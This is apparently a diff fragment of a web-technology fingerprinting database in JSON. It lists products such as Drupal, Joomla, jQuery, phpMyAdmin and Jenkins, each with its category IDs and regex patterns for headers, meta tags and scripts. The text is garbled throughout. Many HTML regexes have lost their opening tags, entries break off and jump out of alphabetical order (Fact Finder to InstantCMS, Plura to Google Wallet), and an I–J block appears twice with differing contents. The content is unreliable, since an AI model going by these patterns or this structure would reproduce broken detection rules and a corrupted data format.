"cufon.shoqolate.com", - "cats": [ 17 ], - "script": "cufon-yui\\.js", - "env": "^Cufon$" - }, - "D3": { - "website": "d3js.org", - "cats": [ 25 ], - "script": "d3(?:\\. v\\d+)?(?:\\.min)?\\.js", - "env": "^d3$" - }, - "Dancer": { - "website": "perldancer.org", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Perl Dancer ([\\d.]+)\\;version:\\1", "Server": "Perl Dancer ([\\d.]+)\\;version:\\1" }, - "implies": "Perl" - }, - "Danneo CMS": { - "website": "danneo.com", - "cats": [ 1 ], - "headers": { "X-Powered-By": "CMS Danneo ([\\d.]+)\\;version:\\1" }, - "meta": { "generator": "Danneo CMS ([\\d.]+)\\;version:\\1" }, - "implies": [ "Apache", "PHP" ] - }, - "Darwin": { - "website": "opensource.apple.com", - "cats": [ 28 ], - "headers": { "Server": "Darwin", "X-Powered-By": "Darwin" } - }, - "DataLife Engine": { - "website": "dle-news.ru", - "cats": [ 1 ], - "env": "^dle_root$", - "meta": { "generator": "DataLife Engine" }, - "implies": [ "PHP", "Apache" ] - }, - "David Webbox": { - "website": "www.tobit.com", - "cats": [ 22 ], - "headers": { "Server": "David-WebBox/([\\d.a]+ \\(\\d+\\))\\;version:\\1" } - }, - "Debian": { - "website": "debian.org", - "cats": [ 28 ], - "headers": { "Server": "Debian", "X-Powered-By": "(?:Debian|dotdeb|(sarge|etch|lenny|squeeze|wheezy|jessie))\\;version:\\1" } - }, - "debut": { - "website": "www.brother.com", - "cats": [ 22 ], - "headers": { "Server": "debut\\/?([\\d\\.]+)?\\;version:\\1" }, - "implies": "Brother" - }, - "DedeCMS": { - "website": "dedecms.com", - "cats": [ 1 ], - "env": "^DedeContainer", - "script": "dedeajax", - "implies": "PHP" - }, - "Dell": { - "website": "dell.com", - "cats": [ 40 ] - }, - "Deployd": { - "website": "deployd.com", - "cats": [ 12 ], - "script": "dpd\\.js", - "env": "^dpd$" - }, - "Demandware": { - "website": "demandware.com", - "cats": [ 6 ], - "headers": { "Server": "Demandware eCommerce Server" }, - "html": "<[^>]+demandware\\.edgesuite", - "env": "^dwAnalytics$" - }, - "DHTMLX": { - "website": "dhtmlx.com", - "cats": [ 12 ], - "script": "dhtmlxcommon\\.js" - }, - "DirectAdmin": { - "website": "www.directadmin.com", - "cats": [ 9 ], - "html": "<a[^>]+>DirectAdmin</a> Web Control Panel", - "headers": { "Server": "DirectAdmin Daemon v([\\d.]+)\\;version:\\1" }, - "implies": [ "PHP", "Apache" ] - }, - "Discourse": { - "website": "www.discourse.org/", - "cats": [ 2 ], - "env": "Discourse" - }, - "Disqus": { - "website": "disqus.com", - "cats": [ 15 ], - "script": "disqus_url", - "html": "<div[^>]+id=\"disqus_thread\"", - "env": "^DISQUS" - }, - "Django": { - "website": "djangoproject.com", - "cats": [ 18 ], - "html": "(?:powered by <a[^>]+>Django ?([\\d.]+)?|<div style=\"display:none\"><input name=\"csrfmiddlewaretoken\" value=\"[a-z\\d]{32}\" type=\"hidden\"></div>)\\;version:\\1", - "env": "^__admin_media_prefix__", - "implies": "Python" - }, - "Django CMS": { - "website": "django-cms.org", - "cats": [ 1 ], - "implies": "Django" - }, - "Dojo": { - "website": "dojotoolkit.org", - "cats": [ 12 ], - "script": "([\\d.]+)/dojo/dojo(?:\\.xd)?\\.js\\;version:\\1", - "env": "^dojo$" - }, - "Dokeos": { - "website": "dokeos.com", - "cats": [ 21 ], - "meta": { "generator": "Dokeos" }, - "html": "(?:Portal <a[^>]+>Dokeos|@import \"[^\"]+dokeos_blue)", - "headers": { "X-Powered-By": "Dokeos" }, - "implies": [ "PHP", "Xajax", "jQuery", "CKEditor" ] - }, - "DokuWiki": { - "website": "www.dokuwiki.org", - "cats": [ 8 ], - "meta": { "generator": "DokuWiki( Release [\\-\\d]+)?\\;version:\\1" }, - "headers": { "Set-Cookie": "DokuWiki=" }, - "implies": "PHP" - }, - "Dotclear": { - "website": "dotclear.org", - "cats": [ 1 ], - "implies": "PHP" - }, - "DotNetNuke": { - "website": "dotnetnuke.com", - "cats": [ 1 ], - "meta": { "generator": "DotNetNuke" }, - "script": "/js/dnncore\\.js", - "headers": { "DNNOutputCache": ".+", "X-Compressed-By": "DotNetNuke", "Set-Cookie": "DotNetNukeAnonymous=" }, - "html": "<!-- by DotNetNuke Corporation", - "env": "^DotNetNuke$", - "implies": "Microsoft ASP.NET" - }, - "Doxygen": { - "website": "stack.nl/~dimitri/doxygen", - "cats": [ 4 ], - "meta": { "generator": "Doxygen ([\\d.]+)\\;version:\\1" }, - "html": "(?:<!-- Generated by Doxygen ([\\d.]+)|<link[^>]+doxygen\\.css)\\;version:\\1" - }, - "DTG": { - "website": "www.dtg.nl", - "cats": [ 1 ], - "html": [ "<a href=\"http://www\\.dtg\\.nl/\"[^>]+>Site Powered by DTG", "var u=\\(\\('https:' == d\\.location\\.protocol\\) \\? 'https://resellerstat\\.mono\\.net/dtg/' : 'http://resellerstat\\.mono\\.net/dtg/'\\);" ], - "implies": "Mono.net" - }, - "DreamWeaver": { - "website": "www.adobe.com/products/dreamweaver", - "cats": [ 20 ], - "html": "(?:<!--[^>]*(?:InstanceBeginEditable|Dreamweaver([^>]+)target|DWLayoutDefaultTable)|function MM_preloadImages\\(\\) \\{)\\;version:\\1" - }, - "Drupal": { - "website": "drupal.org", - "cats": [ 1 ], - "script": "drupal\\.js", - "html": "<(?:link|style)[^>]+sites/(?:default|all)/(?:themes|modules)/", - "headers": { "X-Drupal-Cache": ".*", "X-Generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1", "Expires": "19 Nov 1978" }, - "env": "^Drupal$", - "implies": "PHP" - }, - "Drupal Commerce": { - "website": "drupalcommerce.org", - "cats": [ 6 ], - "html": "(?:id=\"block[_-]commerce[_-]cart[_-]cart|class=\"commerce[_-]product[_-]field)", - "implies": "Drupal" - }, - "dwhttpd": { - "website": "???", - "cats": [ 22 ], - "headers": { "Server": "dwhttpd\\/?([\\d\\.a-z]+)?\\;version:\\1" } - }, - "Dynamicweb": { - "website": "www.dynamicweb.dk", - "cats": [ 1, 6, 10 ], - "meta": { "generator": "Dynamicweb ([\\d.]+)\\;version:\\1" }, - "headers": { "Set-Cookie": "Dynamicweb=" }, - "implies": "Microsoft ASP.NET" - }, - "e107": { - "website": "e107.org", - "cats": [ 1 ], - "script": "[^a-z\\d]e107\\.js", - "headers": { "Set-Cookie": "e107_tz[^;]+=", "X-Powered-By": "e107" }, - "implies": "PHP" - }, - "EdgeCast": { - "website": "www.edgecast.com", - "cats": [ 31 ], - "headers": { "Server": "^EC(?:S|Acc)" }, - "url": "https?://(?:[^/]+\\.)?edgecastcdn\\.net/" - }, - "eHTTP": { - "website": "???", - "cats": [ 22 ], - "headers": { "Server": "\\beHTTP(?: v?([\\d\\.]+))?\\;version:\\1" }, - "implies": "HP ProCurve" - }, - "ELOG": { - "website": "midas.psi.ch/elog", - "cats": [ 19 ], - "html": "<title>ELOG Logbook Selection" - }, - "ELOG HTTP": { - "website": "midas.psi.ch/elog", - "cats": [ 22 ], - "headers": { "Server": "ELOG HTTP( \\d[\\-\\d\\.]+)?\\;version:\\1" }, - "implies": "ELOG" - }, - "Eloqua": { - "website": "eloqua.com", - "cats": [ 32 ], - "script": "elqCfg\\.js", - "env": "^elq(?:SiteID|Load|CurESite)$" - }, - "Ember.js": { - "website": "emberjs.com", - "cats": [ 12 ], - "env": "^Ember$", - "implies": "Handlebars" - }, - "Embedthis-http": { - "website": "github.com/embedthis/http", - "cats": [ 22 ], - "headers": { "Server": "Embedthis-http(?:/([\\d.]+))?\\;version:\\1" } - }, - "E-Merchant": { - "website": "e-merchant.com", - "cats": [ 6 ], - "script": "cdn\\.e-merchant\\.com" - }, - "Enyo": { - "website": "enyojs.com", - "cats": [ 12, 26 ], - "script": "enyo\\.js", - "env": "^enyo$" - }, - "EPiServer": { - "website": "episerver.com", - "cats": [ 1 ], - "meta": { "generator": "EPiServer" }, - "headers": { "Set-Cookie": "EPi(?:Trace|Server)[^;]*=" }, - "implies": "Microsoft ASP.NET" - }, - "EPrints": { - "website": "www.eprints.org", - "cats": [ 19 ], - "meta": { "generator": "EPrints ([\\d.]+)\\;version:\\1" }, - "env": "^EPJS_menu_template$", - "implies": "Perl" - }, - "Erlang": { - "website": "www.erlang.org", - "cats": [ 27 ], - "headers": { "Server": "Erlang( OTP/([\\-\\d\\.ABR]+))?\\;version:\\1" } - }, - "eSyndiCat": { - "website": "esyndicat.com", - "cats": [ 1 ], - "meta": { "generator": "^eSyndiCat " }, - "headers": { "X-Drectory-Script": "^eSyndiCat" }, - "env": "^esyndicat$", - "implies": "PHP" - }, - "EWS-NIC4": { - "website": "dell.com", - "cats": [ 22 ], - "headers": { "Server": "EWS-NIC4(?:\\/([\\d\\.a-z]+))?\\;version:\\1" }, - "implies": "Dell" - }, - "Exhibit": { - "website": "simile-widgets.org/exhibit/", - "cats": [ 25 ], - "script": "exhibit.*\\.js", - "env": "^Exhibit$" - }, - "Express": { - "website": "expressjs.com", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^Express$" }, - "implies": "node.js" - }, - "Koa": { - "website": "koajs.com", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^koa$" }, - "implies": "node.js" - }, - "total.js": { - "website": "totaljs.com", - "cats": [ 18 ], - "headers": { "X-Powered-By": "^total\\.js" }, - "implies": "node.js" - }, - "ExpressionEngine": { - "website": "expressionengine.com", - "cats": [ 1 ], - "headers": { "Set-Cookie": "(?:exp_last_activity|exp_tracker)" }, - "implies": "PHP" - }, - "ExtJS": { - "website": "www.extjs.com", - "cats": [ 12 ], - "script": "ext-base\\.js", - "env": "^Ext$" - }, - "eZ Publish": { - "website": "ez.no", - "cats": [ 1, 6 ], - "meta": { "generator": "eZ Publish" }, - "headers": { "X-Powered-By": "^eZ Publish" }, - "implies": "PHP" - }, - "Fact Finder": { - "website": "fact-finder.com", - "cats": [ 29 ], - "html": "|" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]+\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": ".*" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": ".*", "SPRequestGuid": ".*", "SharePointHealthScore": ".*" }, - "env": "^_spBodyOnLoadCalled$" - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": ".*" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "url": "\\.pl(?:$|\\?)" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "", - "env": "^googletag$" - }, - "Google Wallet": { - "website": "wallet.google.com", - "cats": [ 41 ], - "script": [ "checkout\\.google\\.com", "wallet\\.google\\.com" ] - }, - "Google Web Toolkit": { - "website": "developers.google.com/web-toolkit", - "cats": [ 18 ], - "env": "^__gwt_", - "meta": { "gwt:property": "" }, - "implies": "Java" - }, - "GoStats": { - "website": "gostats.com", - "cats": [ 10 ], - "env": "^_go(?:stats|_track)" - }, - "Graffiti CMS": { - "website": "graffiticms.codeplex.com", - "cats": [ 1 ], - "meta": { "generator": "Graffiti CMS ([^\"]+)\\;version:\\1" }, - "script": "/graffiti\\.js", - "headers": { "Set-Cookie": "graffitibot[^;]=" } - }, - "Grandstream": { - "website": "www.grandstream.com", - "cats": [ 22, 39 ], - "headers": { "Server": "Grandstream\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Gravatar": { - "website": "gravatar.com", - "cats": [ 19 ], - "html": "gravatar\\.com/avatar/", - "env": "^Gravatar$" - }, - "Gravity Insights": { - "website": "insights.gravity.com", - "cats": [ 10 ], - "env": "^GravityInsights$" - }, - "Green Valley CMS": { - "website": "www.greenvalley.nl/Public/Producten/Content_Management/CMS", - "cats": [ 1 ], - "meta": { "DC.identifier": "/content\\.jsp\\?objectid=" }, - "html": "]+/dsresource\\?objectid=" - }, - "gunicorn": { - "website": "gunicorn.org", - "cats": [ 22 ], - "headers": { "Server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Python" ] - }, - "G-WAN": { - "website": "gwan.com", - "cats": [ 22 ], - "headers": { "Server": "G-WAN" } - }, - "GX WebManager": { - "website": "www.gxsoftware.com/en/products/web-content-management.htm", - "cats": [ 1 ], - "meta": { "generator": "GX WebManager(?: ([\\d.]+))?\\;version:\\1" }, - "html": "" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "Intel Active Management Technology": { - "website": "intel.com", - "cats": [ 22, 46 ], - "headers": { "Server": "Intel\\(R\\) Active Management Technology(?: ([\\d.]+))?\\;version:\\1" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "Invenio": { - "website": "invenio-software.org", - "cats": [ 50 ], - "headers": { "Set-cookie": "INVENIOSESSION" }, - "html": "(?:Powered by|System)\\s+(?:CERN )?(?:CDS )?Invenio\\s*v?([\\d\\.]+)?\\;version:\\1" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "JC-HTTPD": { - "website": "canon.com", - "cats": [ 22 ], - "headers": { "Server": "JC-HTTPD(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Canon" ], - "excludes": "Apache" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jenkins": { - "website": "jenkins-ci.org", - "cats": [ 44 ], - "headers": { "X-Jenkins": "([\\d\\.]+)\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - 